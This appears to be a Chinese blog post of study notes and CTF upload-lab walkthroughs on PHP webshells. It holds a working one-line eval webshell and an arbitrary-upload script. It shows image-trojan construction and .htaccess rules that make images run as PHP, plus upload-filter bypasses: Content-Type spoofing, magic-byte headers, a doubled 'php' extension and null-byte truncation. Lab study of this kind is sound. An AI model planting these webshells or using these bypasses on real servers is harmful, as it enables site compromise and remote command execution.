一句话木马
可以解析我们所提供的参数请求的内容为命令并执行
例如

<?php @eval($_POST['666']);?>
小马
例如提供一个让你上传任意文件的网页
<?php
if(isset($_FILES['file'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
echo "File uploaded successfully!";
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>

大马
俺不会写,总而言之是能实现更多功能,代码量比较多些,通常具备文件管理、数据库操作、命令执行、端口扫描、甚至提权等功能的马
图片马
制作方法
Windows:需要一张普通图片和一个写有一句话木马的文件


随后将其放入同一个目录下(不同也可以,后面制作图片名要有路径),打开cmd,指令如下:
copy 图片文件名/b+一句话木马文件名/a 制作的图片马文件名

这样就可以在图片马的最后找到一句话木马

linux:需要一张普通图片,使用cat命令追加并使用hexdump查看
使用命令echo '<?php @eval($_POST[666]);?>' >> head.jpg
注意这里要使用单引号包裹不能使用双引号,因为双引号包裹会解析$_POST[]为$POST认为是一个变量,同时也会把666解析成$(666)去执行666这个命令,最终导致()内内容消失,总而言之要使用单引号

图片马连接方式
图片马的后缀为图片格式后缀(如png,jpg)在解析时会按图片解析,想要其解析成功需要上传.htaccess配置文件。
.htaccess文件:可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档、文件的跳转等功能。
我们可以使用.htaccess文件将特定的后缀名解析成我们想要的后缀名,比如把png解析成php
AddType application/x-httpd-php .png
或者是将特定文件解析成php文件
<FilesMatch "muma.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
这样就可将图片马成功解析了


文件存储方案对上传漏洞的影响
文件存储位置:不同的文件存储方案有不同的文件的存储位置,比如同一个存储器会将文件存储在一个服务器上,分站存储将文件上传后会存储在另一台服务器上,隔离风险,限制攻击范围在文件所在站点之内
文件解析:比如分站存储的另一台存储文件的服务器只提供存储服务不提供解析服务,这样就算上传了木马文件也没有用
实战
一
先上传一个php后缀的文件,发现抓不到包,认为是前端过滤

于是先上传jpg后缀,再抓包改变其后缀,上传成功,获取图像地址后使用蚁剑连接成功获取flag

二
上传木马后抓包修改content-type为图片类型即可绕过比如image/png
三
发现提示只能上传jpg,png,gif等图片类型文件,以及修改文件头,尝试使用hxd修改成jpg文件头ff d8 ff但是不行,就算直接上传一张正常的图片文件也无法成功上传,于是改成用png的89504e47来尝试上传,经过测试同时也要修改content-type为图片类型才能绕过,上传成功后使用蚁剑连接成功



上传php后缀后复制图片地址发现后缀php被过滤了,于是构造后缀为pphphp来上传,推测中间的php将被过滤,前后拼接成一个新的php后缀,上传成功后发现后缀为php没有问题,使用蚁剑连接成功


10
进入后发现要我们使用00截断来绕过,上传木马抓包后,发现给到存储路径

于是将其修改为

这样%00会被url解码成空字符,这样会导致在空字符后面的字符被丢弃,因为空字节会被认为是字符串的结束符
然后我们再修改文件名后缀为png,这样它就会认为我们上传的是一个图片文件从而不被过滤

然后上传文件再用蚁剑连接成功,注意连接名字是我们截断前的名字,也就是shell.php而不是mumumuma.png

11
这一关和上一关一样,只不过截断类型变成post了,我们还是找到上传的路径并作出与上一关完全一样的操作后,将%00url编码即可

950

被折叠的 条评论
为什么被折叠?



